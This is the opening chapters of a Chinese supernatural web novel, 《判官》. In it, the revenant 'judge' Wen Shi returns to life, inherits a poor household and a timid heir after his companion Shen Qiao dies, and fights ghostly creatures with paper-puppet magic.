《判官》
1. 归人
闻哥跟我说,他是一个死不透的人。每每阖了眼,过上几年,又会在某一天,从无相门里爬出来。
1921年清明,在天津卫,我记得下了很大的雨。他第11回从无相门里出来,满身是血。我赶去接他,实在没忍住问了个问题。
我说何苦来哉,去都去了,干嘛总要活回来,是不是有什么人放不下?
他像传闻一样不好相处,理都没理我,转身就走。过了半晌才转头问我有吃的没?
后来我翻了点旧书才知道,判官一脉,满身清明,不偏不倚,修的就是无挂无碍无执障。我那日问的问题真是白日发梦,话本看多了。
今年谷雨,还是我亲手送的他,纸烧了两盆,香点了七柱,他模样没变,跟我当年接他的时候一样。
后山白梅开了三枝,不知他这次能好好睡上多少年。
1995年4月25日,大雨倾盆
沈桥于西安
***
“二十五年。”
“什么?”司机下意识提高了嗓门。
今年清明,宁州也是大雨倾盆。出租车从将军山绕出来时,天已经黑了,交通广播第N次提醒“雨天湿滑,注意前路”,司机却总忍不住看后座的人。
他接了两个奇怪的客人,一老一小。
小男孩很瘦,顶天了也就六七岁,却穿着一件过于宽大的T恤。他似乎摔过一跤,从头到脚都是湿的,半是雨水半是泥。上车前,司机翻出一条大毛巾给他,他也没说谢谢。
准确而言,他就没说过话,直到刚刚突然蹦出一句。那声音又低又冷,没有任何奶气,实在不像小孩。
司机怀疑自己听岔了,忍不住又问一遍:“小朋友,是你在说话?”
小朋友没吭气,只是看着他。眼睛映在后视镜里,瞳仁又大又黑。
司机补充道:“刚刚广播声太吵,叔叔没听清,就听到个二十五还是五年什么的。”
小朋友依然不吭气。
司机干笑两声:“小朋友?”
小朋友气门芯可能被人拔了。
旁边的老头终于看不过去,笑着说:“他是在答我的话。”
司机听了更犯嘀咕,“您刚刚也说话了?我发现进了一趟山,我这耳朵好像有点问题。”
“不是。”老头转着食指上的老戒指,干枯的指肚摩挲着戒面上“沈桥”两个字,说:“刚刚没说,之前问的。”
司机“噢”了一声。
他不知道这个“之前”意味着多久之前,否则可能就“噢”不下去了。
将军山一带传闻很多,平日没人愿意来。也就是最近生意冷清,所以滴滴一叫唤,他就顺手接了单,接完就后悔了。
这一带没有路灯,只有护栏上的反光条幽幽发着荧光。雨实在很大,两边的树影婆娑扭曲,像披挂歪垂的头发。
有时候冷不丁看一眼后视镜,又觉得后座两人的脸苍白如纸。
司机一边默念心理作用、心理作用,一边禁不住有点毛毛的,只能靠闲聊缓解,结果越解越慌……
他问后座的老人:“这破烂天气,怎么跑山里来了?这地方很难叫到车的。”
老头慈眉善目,看着身边的男孩说:“是难,没办法,我得来接他。”
司机:“……噢。”
他不敢问为什么一个小孩会在山里等人来接,只好说:“这雨是真大,最近降温,小孩穿这么点冷不冷?要不我开个空调?”
老头依然是笑,摇头说:“他不会冷。”
司机:“……噢。”
这个“不会冷”跟“不冷”肯定是一个意思。他这么想着,汗却已经下来了。
他尴尬地在裤子上蹭了蹭手,又朝后视镜里看了一眼,故作爽朗地说:“您家这孩子长得是真好,一看就是帅哥胚子,皮肤也白——”
白得都泛青了。
“——多大呀,该上学了吧?”
后座一直闷着头的小男孩终于听不下去,抬起脸来,盯着后视镜里的司机看了几秒,肚子咕噜叫了一声。
湿漉漉的水迹顺着乌黑发梢滴下来,他舔了一下干裂的唇角说:“开快点,我饿了。”
嗓音活脱脱就是青年人,又冷又低。
司机不知联想到什么,打了个尿惊,从此再没吭过声。
最后车子怎么到的名华府没人知道,反正平时45分钟的车程,这次只用了不到半小时。
名华府是宁州最早开发的别墅区,当初很是抢手,因为旁边要建主题乐园和湿地公园。谁知乐园建了三年忽然烂尾,湿地公园也没了着落。名华府跟着遭殃,从万人哄抢变成了无人问津。
贵是真贵,荒也是真荒。
小区常用的是北门,老人却让车停在西门,他先下。
驾驶座上司机师傅已经不行了,他但凡行一点,伸头出来看两眼都能发现,老人的动作很奇怪,举手投足间有种顿挫感,手肘总是抬得很高,像是被什么东西牵吊着才能动似的。
老人僵硬地把伞抵在肩膀上,腾出手来,从衣兜里摸出一张银箔,点火烧了。
银箔瞬间皱缩,变成细薄的灰,火星翕张,隐约能看到两个字的痕迹——闻时。
老人这才冲车里的人招手说:“这扇门可以走了。”
闻时从车里下来时,已经不是小孩身量了,俨然是个少年模样,15、6岁。原本过于宽大的衣服这时反而合身不少,只有裤子还是嫌长。
他也没管,伸手接过老人肩上的伞。黑色伞面倾斜,挡着斜吹过来的冷雨,他冲老人抬了抬下巴说:“我不认识路了,跟着你走。”
这是他第12次从无相门里出来,每次都要有人带路。
沈桥接过他两回,上一回沈桥才18岁,穿着绸布马褂,戴着挺括的瓜皮帽,上来就管他叫“闻哥”,然后问了他一个瓜皮问题。
这一回,沈桥看着像他爷爷,当着外人的面,已经不好再叫“闻哥”了,不留神就容易吓死谁。
不过就算留神,那司机也吓得不轻。
穿过大门的时候,小区东北角响起了一阵唢呐声。
俗话说,没有唢呐吹不走的人。出租车司机被那两声吹清醒了,油门一轰,在雨中驰掣成了一道虚影,眨眼便没了。
闻时这才从那处收回视线,又舔了舔嘴角。这么几分钟的功夫,他又长高了许多,脚踝处堆叠的长裤褶皱彻底抻直,已然是个青年。
“你真饿了啊?”沈桥问。
“你说呢?”
“可惜了。”老人幽幽叹了口气。
“怎么?”
“你这次得自己找点吃的了。”
闻时跟着他绕过一片花园,沿着小路往东走。还没来得及问他为什么,就听见唢呐锣鼓动静喧天。
雨没变小,空气里湿气很重,但依然能闻见细细的香灰纸钱味。平常人闻不出区别,但闻时可以,这个味道很熟悉,是沈家的。
“我领了个孩子来接班。”沈桥朝前面的别墅看了一眼,说,“一手养大的,跟我当初差不多,今年18了,除了胆子小点,哪里都不错。”
闻时:“……”
他没忍住:“你领个胆子小的回来干这个?”
沈桥也没忍住:“我养的时候哪里晓得他胆子这么小?”
闻时:“那你还真棒啊。”
沈桥:“过奖。”
闻时:“……”
也就是现在沈桥年纪大了不好打。闻时臭着脸心想。
沈桥又朝别墅看了一眼,看见一个披麻戴孝的男生从大门里出来,终于放下心。
他朝闻时作了个旧时的长揖说:“闻哥,沈桥得幸与你认识这么多年,现在我要走啦,你好好的。”
他想了想,又补了一句:“早日解脱。”
说完,佝偻老迈的身体便垮塌下去。那个白发老人已经没了踪影,地上只有他刚刚穿着的衣裤,衣领里露出几段细长的白梅花枝,枝
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头扎着绵白线,很快就被雨打湿了。
唢呐一声响,野树不知春。
闻时有一瞬间的晃神,忽然意识到,他这一觉真的睡了好多好多年……
他握着伞替那团棉线梅枝挡了斜雨,弯腰将衣物捡拾起来,默然站了好一会儿。直到听见脚步临到近处,才抬起眼来——
那个披麻戴孝的男生过来了。看年纪,想必就是沈桥口中那个接班的。
闻时这人性格不怎么样,这么多年下来依然不喜欢搭理生人。他捧着衣服,垂眼看着面前这个比他矮了近一个头的小男生,就这么晾着,死不开口,并在心里给他取了个诨名叫“矮子”。
那矮子在他面前刹步,大眼瞪小眼地杵了半天,终于意识到如果自己不说话,他们能站到明天。
“我知道你。”矮子说。
“哦。”
“爷爷说以后我来接班,咱俩就得一起住了。”矮子又说。
“嗯。”
“但是我没钱。”
听到这里,闻时终于有了比较大的反应。他有点震惊。
过去那些年,他留给沈桥的好东西着实不少,当然,这种好东西不是普通人口中的金银珠宝古文玩,而是另一些特别的东西,只在他们这群人中流通的东西。
就好比锡箔纸钱之于灵官、香火供奉之于仙官,功德灵物之于人间通判。种类很多,上到仙台佛堂上沾来的灵气,下到魑魅魍魉收来的煞,有形的、无形的,不是一时半会儿能说清的。
总之,闻时这么多年生生死死攒了不少,都留给沈桥了,随便拿一点去专门的地方兑换都能过上土财主的日子。怎么就没钱了???
“不可能。”闻时终于说了个长句,“沈桥没告诉你我留了东西?”
“告诉了,地下室堆满了,用不同的东西装着,码得整整齐齐。”矮子沉默几秒,“但是现在都空了。”
“什么意思?”
矮子沉默片刻,说:“因为这脉没人了。”
他其实到现在都不太明白自己究竟接了个什么班,只知道沈桥把他养大,让他干什么他都答应。
为了让自己明白些,他总翻家里的古书,里面有一段说:诸行无常,诸漏皆苦,众生煞煞然也,偶有大清明者,谓之判官。
差不多是说,众生皆苦,挂碍太多,身上多多少少都有怨、憎、妒之类的东西,远远看过去,脏雾缠身,缠得多了,就容易横生是非。
判官就是被请去清除是非的人,当然,这样的人自己一定得满身清明,干干净净。
沈桥就总说他干干净净,但是他除了干净,屁都不会,根本上不了名册,也没法把这脉续下去。
所谓判官从祖师爷开始往下传,能人颇多,年代久了就分出了枝枝节节许多派系,关系有近有远,慢慢也就互不相干了。
你家的徒子徒孙不能算成别人家的。
所以……
“爷爷一走,这一脉就断了。”矮子垂下头,看上去万分颓丧。
老话说人走茶凉,在这些灵官、仙官、判官身上体现得最为明显。脉络一断,这条线就封止了,那你攒的那些灵物家当,也就跟着消散不见了。
闻时消化了他的意思,跟着就开始脑仁子疼。
矮子毫无眼力见,颓丧完了还问他一句:“那你还有别的钱么?”
闻时一脸冷然:“没有。”
死都死几回了,有个屁。
“我估计也是。”矮子叹了口气,“那我们以后日子可能会有点苦。”
闻时一听这话,有点烦躁。
别的好说,没钱使他焦虑,他有点不想活了。
矮子可能看出了他的心情,斟酌片刻,补了一句:“呃……为了压力小一点点,我把两个空房间挂网上了。”
闻时作为一个死了很久的人,没明白“挂网上”是什么意思,他“嗯”了一声表示疑问。
矮子晃了晃自己的手机,解释说:“招租。”
2. 代沟
招租???
真是个馊主意,亏你想得出。闻时显然不赞同。
这人一不高兴就挂在脸上,冷嗖嗖的。矮子被冻得有点懵,讪讪道:“这样不好吗?”
“好在哪?”闻时说。
矮子头顶缓缓冒出一个问号。
闻时跟他相对而站好一会儿,终于意识到,那个机灵的沈桥已经不在了。
以往他只是心里想想,对方都能明白他的意思,惯得他能说一个字坚决不说俩,现在却不行了。他得把心里想的都说出来。
于是他说了:“你知道我们是干什么的么?你招两个普通租客来,回头见到点东西叫得全区都听见,是吓唬他们还是吓唬谁?”
矮子:“对不起。”
这人脑子不行,道歉倒是快得很。闻时脸色解冻了一些,正准备点到即止,就见对方垂头丧气地补了一句:“主要估价下来租金真的还行,俩房间能有7000多。”
闻时:“……”
他对价钱的概念还停留在1995年,听到这个数字短暂静默了两秒,然后转头走了。
矮子诚惶诚恐地跟在后面,眼看着要进别墅大门,忍不住问道:“那个……所以您的意思是?”
闻时头也不回:“当我没说。”
叫就叫吧,爱吓唬谁吓唬谁,关他屁事。
他身高腿长走得快,可真到别墅门前,又刹住了步子。
矮子见他不进门,刚想问“怎么了”,忽然想起爷爷沈桥说过的话——
他说判官本质是人。人生在世,想要保持一身明净其实很难,稍有不慎都会挂点脏。古时判官其实规矩奇多,就连进人家宅都有讲究。根骨雅的,进有主的地方,会要一张通行帖,以表郑重,也能和那些魍魉妖煞作个区分。
死人请他们进门,得烧带名字的银箔。活人没那么麻烦,口头邀一下就行。
不过现在几乎没人这么讲究了,规矩也早就废了。
矮子上一秒还觉得闻时脾气大、不太好相处。这会儿看见他握着银白伞骨,清清冷冷地等在台阶下,又觉得这个被爷爷供着的人确实不太一样。
“进屋吧。”矮子试探着,“这样说可以吗?”
闻时正在心里打腹稿,想着要怎么教他,听到这话一愣,接着便垂眼收伞,抬脚上了台阶。
“你没来过这里吗?”
“没有。”闻时走进客厅,四下扫量。
他每死一回,再从无相门里出来,会在很短的时间里由小孩长成青年,之后便不再变了,到死也是这副模样。所以他带着沈桥辗转过不少地方,十几二十年一轮换,95年他们还在西安,刚计划好下一年要搬来宁州,却没能等到动身。
别墅里前来吊唁的宾客很少,稀稀落落。
沈桥的遗像摆在客厅正中,两边高挂着黄白符条,只要有人作揖俯首,东西堂椅上坐着的两人就唱一声人名,然后唢呐锣鼓的吹打一段。
除此以外,客厅摆物不多,再加上那些灵物都散了。懂的人一进来就知道这家格外……穷。
朝南的墙上挂着长图,几乎占据了整面墙,是幅画字——就是把字嵌在画里,不懂的人只能看明白画,懂的人知道,这是人间通判完整的名谱。
从祖师爷开始,传了哪些人,分了哪些枝丫派别,都在上面。但凡干这行的,家里都有这么一幅。
闻时看到了自己的名字,后面跟着徒弟、然后是徒弟的徒弟……一直到沈桥,一条线全是朱笔,代表已亡故。
“我花了六年才看明白这张图。”矮子委委屈屈地说。
闻时心说有够笨的,怪不得我这条线没有传承死绝了。
他目光落在沈桥名字后面,皱着眉敲了敲那处:“这怎么多了一团脏墨?”
矮子脸腾地红了,支支吾吾说:“我以前不懂事,看这上面没有自己名字,就补上了。”
后来他才知道,这画是活的,补了也没用,就是块污迹而已。
闻时盯着那处分辨半天,才认出那狗爬的名字——夏樵。
他怀疑沈桥收这个宝才徒弟,就是因为名字像,被缘分薅瞎了眼。
名谱画边有个香案,上面供着个青面獠牙、花红柳绿的画像。画中人手持一把白梅枝,跟那夜叉似的糟心模样实在不搭,显得不伦不类。
画边写着三个字清瘦劲遒的字——尘不到。
“祖师爷名字挺特别的。”矮子夏樵说。
“这是他官家名。”闻时说,“半成仙的人才有这种东西。”
“那他本名呢?”
闻时看着那副画,片刻后垂眸抽了三支香,点上拜了三拜说:“谁知道。”
“他们为什么拜那个?”一个哑里哑气的声音突然横插进来。
闻时把香插上,转头就见一个十四五岁的男生站在不远处,指着祖师画像问身边的中年女人,“不是说不能拜么?拜了会不得好死——”
话没说完,倒霉孩子就被中年女人摁住了嘴。她嘘了一声,低声呵斥道:“平时怎么跟你说的?口无遮拦!”
她瞪了瞪眼珠,最后几个字从唇齿间挤出来,很有吓唬的劲。
说完,她抬头抱歉一笑,也不知是冲夏樵还是冲画像说:“不好意思,小孩不懂事,话不当真。”
“哦没事没事。”夏樵连忙摆手。
没事个屁。
闻时想说话,但见夏樵那怂样,又生出一种话不投机的感觉,懒得开口了。
女人摁完儿子,去沈桥遗像前匆匆一拜,旁边吹鼓手唱道:“张门徐氏一脉,张碧灵。”
“这名字耳熟。”夏樵小声嘀咕着,转头朝名谱图一扫,果真找到了这个张碧灵,她那条线在闻时这条上面一些。
“闻……那个。”夏樵想叫闻时,但又不知道该叫他什么。叫哥吧,他跟沈桥辈分就乱套了,不叫哥吧……难道叫爷爷啊???
“我没名字?”闻时冷眼看他。
“不敢叫。”夏樵盯着一副老实样,悄声问了个他想了很久的问题,“这个名谱图是活的,有时候会变,下面的名字会跑到上面去,倒是咱们家这条线,一直稳稳镇在最底下,是因为资历久么?”
闻时:“……”
他用看智障的眼神看了夏樵一眼,说:“不看资历,看每条线上活着的传人。”
夏樵:“然后呢?”
闻时:“谁厉害谁位置高。”
夏樵:“那最底下的……”
他看着闻时要死的眼神,默默闭了嘴,明白了——这名谱图就好比一张排行榜。闻时这条线,从沈桥收了他开始,就注定沉在最底下,已经沉了好多年。
怪不得这些年跟沈家来往的人越来越少,前
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来吊唁的更是屈指可数,普通邻居更多,像这种名谱图上的,这个张碧灵还是第一个。
夏樵偷偷觑了一眼闻时,心里有些愧疚,也有些颓丧。
不知道以前闻时这个名字在画中哪里,也不知道对方看了现在的位置,会不会想锤死他?
闻时是想锤死这个屁用没有的玩意儿。但比起这个,他更想好好洗个澡,吃点东西。
“浴室在哪?”他拍了拍夏樵,说:“借我一套干净衣服。”
“哦,房间里有,我给你拿。”
闻时跟在夏樵身后,走到卧室过道时,忽然有点不舒服。他已经很久没有这种体验了,就像是被什么东西直勾勾盯着。
他回头看了眼。
过道里视野很窄,只能看到另一个卧室敞开的门,以及客厅的人斜投在地上的影子。
“闻……”夏樵的声音从主卧传来,他挣扎了一下,放弃似的说:“算了,我还是叫你闻哥吧。得罪得罪,我不是有意要乱辈分的。”
他怂兮兮地朝天作了几个揖,递了套干净衣服过来。
闻时这才从影子上收回视线,接了衣服走进卫生间,然后倚着门框开始等。
夏樵本想回客厅,看他这模样,脚步突然就迟疑起来:“您……不是洗澡么?”
“嗯。”
“那您……看我干什么?”
“等水,等盆、等毛巾。”
“???”
18岁的夏樵跟闻时大眼瞪小眼,片刻之后突然意识到了他们之间隔着一个代沟叫1995年。
“等下,我给你把水调好。”夏樵麻溜滚进浴室,给那位爷调热水。
闻时还是靠在门边,目光落在斜前方的地砖上,那里依然影影绰绰,投照着客厅里的景象,看不出什么问题,但那种被盯着的感觉却始终没消失。
他看了一会儿,忽然阖上眼皮。
常人闭眼总是一片黑暗,他不是,他闭眼之后看到的东西甚至比睁眼还要多。
“闻哥?”夏樵突然从背后拍了他一下,“你困啦?”
闻时睁开眼,回头看向构造有些复杂的淋浴间,水放了一会儿,热气已经氤氲开来。
“没有,我洗澡,你可以走了。”
夏樵给他说了一遍架子上摆放的东西,然后抓着手机往外走。
闻时盯着那个亮白的屏幕,听见它接连震动着,问了一句:“怎么了?”
“哦。”夏樵一边飞快打字一边说,“我不是说两个房间挂出去了么?刚刚有租客联系我看房,我在跟他说具体的情况。”
“……”
闻时眼神中透露着怀疑:“拿着个就能联系?”
夏樵抬起头,表情比他还怀疑:“……昂。不、不行吗?”
“行。”闻时恢复冷淡,顺口说了句,“我印象里联系人不用这个。”
夏樵:“那用什么?”
闻时想了想说:“BP机。”
夏樵:“……”
他曾经给沈桥发誓说代沟不成问题,他会跨过去,让闻哥宾至如归。但他现在忽然意识到这沟特么有点大,他胯疼。
他想了想,把屏幕怼到闻时面前,让这位95年亡故的大爷直接看结果。
彼时中介刚好发来一句话,说:谢先生说明天晚上有空,您看您这边方便吗?
3. 灵相
闻时看不懂智能手机,但听得懂人话。他听完中介的语音,冲夏樵招了招手,示意对方凑近点。
夏樵不明所以,附耳过来。
他闻哥顶着张帅比脸、操着又冷又好听的嗓音,问了他一个很有灵魂的问题:“这好比过去的电话?那我这么说话,对方听得见么?”
夏樵:“……”
这代沟得劈叉。
夏樵想了想,握着手机调出9键说:“哥,你还是当成电报吧。”
闻时懂了。他直起身,指着屏幕道:“那你给他发,哪个时间都很方便。”
夏樵:“……我觉得我不太方便。”
闻时皱起眉。
夏樵缩了脖子说:“哥,今天这是人多,还算好。你是没见过咱们小区平时晚上是什么样。”
“什么样?”
“挺瘆得慌的。我跟着爷爷在这住了十几年了,到现在,晚上都不敢一个人上厕所,更别说出门了。”
“……”
闻时面无表情沉默两秒,请夏樵同学滚了出去。
他关上卫生间门,抓着领口扯下T恤,劲瘦好看的腰线从布料中显露出来。他不大高兴地想,原本还打算做个好人,捞一捞这不争气的徒孙。现在觉得……要不这脉还是死绝了吧。
等这位日常自闭的祖宗洗完澡出来,夏樵已经接待完两拨新的来客了,倒是那个名谱图上的女人张碧灵还没离开。
她正站在玄关前跟夏樵说话,一只手还拽着她那个口无遮拦的儿子。
“沈老爷子是明天上山吧?”张碧灵问。
“嗯。”夏樵点了点头。
“几点?”
“早上6点3刻出发,您要来么?”夏樵问得很客气。
她盯着沈桥的遗像,轻声道:“6点3刻?哎,我可能有点事,但来得及的话,还是想送送,老爷子不容易。以前——”
以前这脉很厉害的,就是人少,落得现在这个情境,可惜了。
这话夏樵听过很多次,都会背了。不过张碧灵好一点,刚开了个头就刹住了,尴尬而抱歉地冲夏樵笑笑。
可能是为了弥补吧,她对夏樵说:“你特别干净,这么干净的人我们都很少能见到。以后好好的。”
说完她拍了一下儿子的后心,皱着眉小声说:“作三个揖,快点!”
儿子大概正处于叛逆中二期,甩开她的手,不情不愿地弓了弓脖子,态度敷衍,最后一个更是约等于无,作完就推门走了。
张碧灵只得匆忙打了招呼,追赶上去。
夏樵关上门,一头雾水地走回来,抬头看见闻时,忍不住问道:“闻哥,他干嘛冲我作揖?”
“因为他在你这说了不该说的话,不好好作个揖会有大煞。”闻时朝远处的祖师爷画像努了努嘴。
“哦,就是说祖师爷不——”
闻时:“……”
“呸。”夏樵给了自己一巴掌,连忙道:“我没说,我刹住了。”
“嗯。”
闻时闷头擦着潮湿的头发,过了片刻道:“其实说他不得好死的人多了去了,事实而已,不至于怎么样。别疯到对着画像说就行,尤其别在上香的时候说。”
夏樵小心问:“为什么?”
闻时抬起头,把用完的毛巾丢在椅背上,极黑的眼珠盯着夏樵轻声说:“因为他会听到。”
夏樵:“……”
他原地木了一会儿,连忙搓着手臂上的鸡皮疙瘩,声音都虚了:“他不是……”
已经死了吗?
沈桥给他讲过,祖师爷尘不到修的是最绝的那条路,无挂无碍无情无怖,反正听着就不太像人,很厉害,但下场不好。
怎么个不好法,他年纪小没听明白,大概是永世不得超生之类的吧。
夏樵越想越怵,左右张望着,好像祖师爷就飘在旁边似的。
闻时瞧他那怂样,蹦出两个字:“出息。”
***
夜里9点左右,再没新的宾客进门,几个吹鼓手收了唢呐锣鼓,点了烟凑在后院窗边聊天。
夏樵在厨房开了火,用之前煨的大骨汤下了几碗龙须面,又切了点烟熏火腿丁和焦红的腊肉丁,齐齐整整地码在面上,撒了碧青葱花,招呼他们来吃。
这是闻时醒来吃的第一顿正食,他虽然说着饿,却没动几筷子。
夏樵差点以为自己做砸了,小心翼翼尝了两口,觉得汤汁鲜浓,肉丁焦香,面也劲道弹牙。
吹鼓手们唏哩呼噜,一碗面就下了肚。抹嘴道了谢,又攒堆去抽烟闲聊了。夏樵便问道:“闻哥,你不饿么?”
“我不太吃这个。”闻时答道。
夏樵以为他是挑食,正想再问两句,就见闻时朝窗边瞥了一眼,说:“他们不走?”
“你说那几个吹唢呐敲锣的大爷?”夏樵摇头说,“不走,在这过夜。”
闻时:“为什么?”
夏樵红了脸皮,支支吾吾说:“办丧事要守夜,沈家就我一个人了,夜里不敢睡,就多花了点钱,请这几个大爷留下来陪我。”
说完,他发现闻时正用一言难尽的目光看着他,然后半是嘲讽半无语地冲他竖了个大拇指。
夏樵生怕被骂,当即吹嘘拍马道:“请都请了,反正也只剩最后一晚。不过我觉得今晚我肯定睡得好,有闻哥你在,我还有什么可怕的呢?!没有。”
闻时只是睨了他一眼,意味不明地说:“那你记住这句话。”
这天夜里12点左右,夏樵是被不知哪里的猫闹声惊醒的。
那声音又惨又厉,像婴儿哭,但调子长一些,忽而极远,忽而又到了近处。小区淹没在浓沉的夜里。
夏樵睁了一下眼睛,隐约看见一片光。他迷迷糊糊地想着,今天月亮怎么泛着绿。
几秒种后,他忽然一个激灵。
守夜的时候,他不睡卧室,而是睡客厅。面朝屋内,正对着沈桥的寿盒香案,上哪看见月亮??
那他看见的光是……
夏樵干咽了一下,重新睁开眼。就见半张苍白人脸浮在香案边,静默无声地点着红蜡烛,那豆火焰无风抖了一下,发着灰绿色的光。
我……操……
夏樵头皮一炸,从沙发床上滚摔下来,却没有声音。
天旋地转间,他想摇醒陪他守夜的几个大爷,却发现那几张临时的铺位空空如也,没有任何人的身影。
就好像他从来都是一个人睡在这里。
夏樵差点没疯。他连滚带爬要站起来,腿却一点儿没劲。
他连蹬几下!挣扎间,一个冰凉的东西突然轻拍了一下他的后脑勺。
夏樵“嗷”的开了嗓,便再没断过气,像被一万只脚踩过的尖叫鸡。直到他的嘴被人强行塞了东西,一个冷冰冰的嗓音在他耳边说:“你要死啊?”
这声音……
夏樵手指发着抖,鼻翼翕张。好几秒才瞪着眼睛转过头,就见闻时一手捏着打火机,一手钳着他胡乱抓挠的手,大有一种“再动我就放火了”的架势。
空气凝固了好一会儿,夏樵才终于意识到,刚刚站在香案边一声不吭点蜡烛的,就是这位祖宗。
搞明白这点,他劫后余生,眼泪都下来了……
真哭。
闻时拧着眉心,先警告了一句“再叫把你扔出去”,然后摘了他嘴里那团白麻孝布。
夏樵哭着说:“哥,我指着你壮胆呢,你怎么亲身上阵给我闹鬼啊,好好睡觉不行吗?”
“……”
闻时又把布塞了回去。
他把夏樵拎起来,忽然没头没尾地问了一句:“你想不想知道,别人总说你干干净净是什么意思?”
夏樵哭到一半,没明白他的意思:“嗷?”
闻时说:“我让你看一次。”
没等人反应过来,他就低斥道:“眼睛闭上。”
夏樵下意识照做,接着他便感觉闻时重重拍了一下他的头顶,然后是两肩。他眼前忽然有些微烫,伴随着燃香的味道。
绕了三圈后,烫意又远了。
“睁眼。”闻时说。
夏樵有点怕,但还是睁开眼睛,然后他就傻了。
眼前依然是沈家的客厅,摆设没有任何区别,但色调和轮廓都泛着青灰,有种说不出的诡异感。
更诡异的是,他瞥到了不远处的穿衣镜。差点再次尖叫起来。
镜子里映着两个影子,应该是他和闻时。
之所以说应该,是因为根本看不出原样。其实模样没变,但皮肤白得惊人。
他
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鼻尖其实有颗痣,眼角也有一处小时候磕的浅疤,但镜子里的他却什么都没有、一切常人会有的细小瑕疵,都没有。明明是他的脸,却仿佛是另一个人,一眨不眨幽幽地看着他。
在这样深重昏暗的环境里,真是闹鬼的好苗子。
“这是什么?”夏樵声音都劈了。
闻时说:“我闭上眼睛看到的东西。”
夏樵:“我怎么变成这样了?”
闻时说:“你平时看到的叫肉身相,现在看到的叫灵相。”
“正常人身上会有缭绕的黑气,或多或少,你没有。这就是干净。”闻时的嗓音在夜里显得更冷。
夏樵一抖,慌乱地看向他,这才意识到他也是这样一尘不染的样子,但又有一丝……微妙的不同。
因为闻时的轮廓是半透的,就像一道虚影。
“闻哥,你……”夏樵磕磕巴巴地说,“你为什么是这样的?”
闻时轻声说:“因为我缺了灵相,是空的,什么时候找齐了,什么时候解脱。我来也是为了这个。”
夏樵听得茫然,又有些惊心。他正要继续问,就听窗外又是一阵猫闹似的厉声尖叫。
他吓一跳,转头看去。就见三个瘦长人影倒映在大理石地面上,扭曲之后变成了四肢着地的模样,以一种诡异的姿势弓起背。
它们头颅的影子歪斜了90度,缓缓朝客厅内转过来。
借着客厅内灰绿色的烛光,夏樵终于看清了那些东西的模样,它们像是被碾过的兽类,野猫野狗什么的,身体扁平,四爪瘦长,但又有着人的脸,趴伏着从外面探进来,身上萦绕着黑色烟气,幽幽袅袅,像缠绕的水草。
夏樵心脏都要跳停了,用气声问:“这是什么啊???”
闻时说:“你找来的吹鼓手。”
夏樵:“……”
他一想到自己这些天都跟什么东西睡在一起,头皮都要炸了!
夏樵快疯了:“怎、怎么办?”
闻时没什么表情,手指却一道一道翻折起了袖子。
“闻哥你可以的吧?”夏樵试探着问。
“不知道。”闻时说。
夏樵:“???”
闻时没再开口。
他是真的不知道,如果在很久以前,这些对他而言塞牙缝都不够,但现在,他确实不敢保证。毕竟他不算真正的活人,没有灵相,要达到原本的十分之一都危险。
最重要的是……他很饿。
二十五年没有真正进食了,他很虚弱。
就在他掐着食指关节,正要动手时,一阵铃音突然响起,惊得夏樵差点跳起来。
他手忙脚乱地从口袋里掏出作祟的玩意儿——手机,还差点摔成八瓣,本想直接摁掉,结果哆嗦的手指不小心划到了接通,于此同时不知道碰到了什么玩意儿,前置电筒也打开了。
煞白刺眼的光亮直照出去,从那三只怪物脸上划过。
下一秒,手机里响起了一个男人轻低的咳嗽声,他声音略有些沙哑,带着病态的疲惫,说:“是夏樵先生么?我是谢问。”
也许是光太强烈,也许是突然的来电打乱了步调。那三只怪物忽然低头嗅了嗅地面,原地逡巡了两圈,像是找寻什么东西似的,疾奔离开了。
闻时没料到这种发展,冷静的脸上少有地露出茫然来。
夏樵更是一脸懵逼。
手机那边的男人没有听到回应,等了几秒后,又低低地“喂”了一声。夏樵这才咽了口唾沫,说:“你、你好,我是夏樵。那个……”
他迟疑了一下,说:“请问你谁啊?”
“我是跟你联系过的租客,下午说晚点会给你打个电话。”男人道,“我调了一下时间,明天傍晚5点左右过去,行么?”
夏樵机械地点了点头说:“行,你这电话救了我一命,你凌晨5点来我都行。”
当然,他也就这么随口一说。
谁知电话对面的人很轻地笑了一声,道:“也行,我刚巧那会儿要出门,那就这么说了。”
等到夏樵梦游似的嗯嗯完,梦游似的挂了电话,再梦游似的瘫软在沙发上。
良久过后,他才突然诈尸,跟闻时面面相觑。
凌晨五点???
神经病啊???
4. 谢问
“算了算了,我还是给那个谢什么的回个电话吧。”夏樵前脚还管人家叫救命恩人,后脚就忘了人家叫啥。
他冲闻时碎碎念道:“凌晨看房是什么梦幻操作,而且6点3刻还得送爷爷寿盒上山,回头他来了,我是放下寿盒给他介绍房子呢,还是挽着他去坟上说。是吧哥——”
“哥?”他说一半,发现那祖宗一字没听,正皱着眉出神。
“闻哥?”
“闻哥哥哥哥哥?”
“……”
“爹!”
闻时终于被“爹”回了神:“干什么?”
夏樵:“……”
我这贱得慌的嘴。
“不干什么,就很好奇您在想什么。”夏樵字正腔圆地说,“租客吗?”
闻时:“不是。”
那租客脑子是挺清奇,但他关注点在另一件事上——刚刚那三头怪物被电筒光扫到的瞬间,他依稀闻到了某种味道。
人对于味道的记忆比什么都长久,他很难具体形容出来,但就是觉得很熟悉。熟悉到……仿佛是属于自己的一部分。
闻时忽然起身,从桌案上抽了几张黄表纸,又随手从戴孝的白麻布边缘扯了两根长线,说:“我出去一趟。”
说完便大步流星出了门。
夏樵:“???”
他在沙发上瘫了两秒,突然一蹦而起,连滚带爬追过去叫道:“闻哥等等我!”
“不是夜里不出门?”闻时并没有放慢脚步,四下扫了一圈,便直奔东面而去。
夏樵个子小,腿短,抡得飞快才能跟住他:“刚闹完鬼,我疯了才一个人在家呆着,我得跟着你,我害怕。”
这个小区住户不多,树却不少,四处影影幢幢,好像哪里都伏着东西。路过一株半死的树时,闻时顺手折了一根手掌长的干枝。
他十指翻飞地动了几下,那几张黄表纸就被叠成了不同模样,往干枝上一串,乍然是个简易的纸兽。
那两根白麻线在干枝端头和分叉上绕了几圈,另一头缠在闻时手指上。
“我靠这是什么?!”
夏樵的眼睛还没恢复常态,在他现在的视野中,那纸兽落下便成了活的!周身缠着锈蚀的锁链,额心一抹血痕,瞳仁全白。
闻时缠绕着麻线的手指一抬,纸兽便踏着前蹄打了个响鼻。他说:“折纸。”
夏樵:“……我瞎吗?”
“你不是么?”闻时说完才意识到自己给他短暂地开了一下眼,“哦。那就是傀术。沈桥也会。”
他教出来的徒子徒孙都会,当然他自己也有师承——那个最精通傀术的人,自然还是祖师爷尘不到。
闻时牵着麻线一拽又一撒。纸兽直奔出去,锁链缠绕撞击间火星四散!
刹那间,烈风横扫而过!
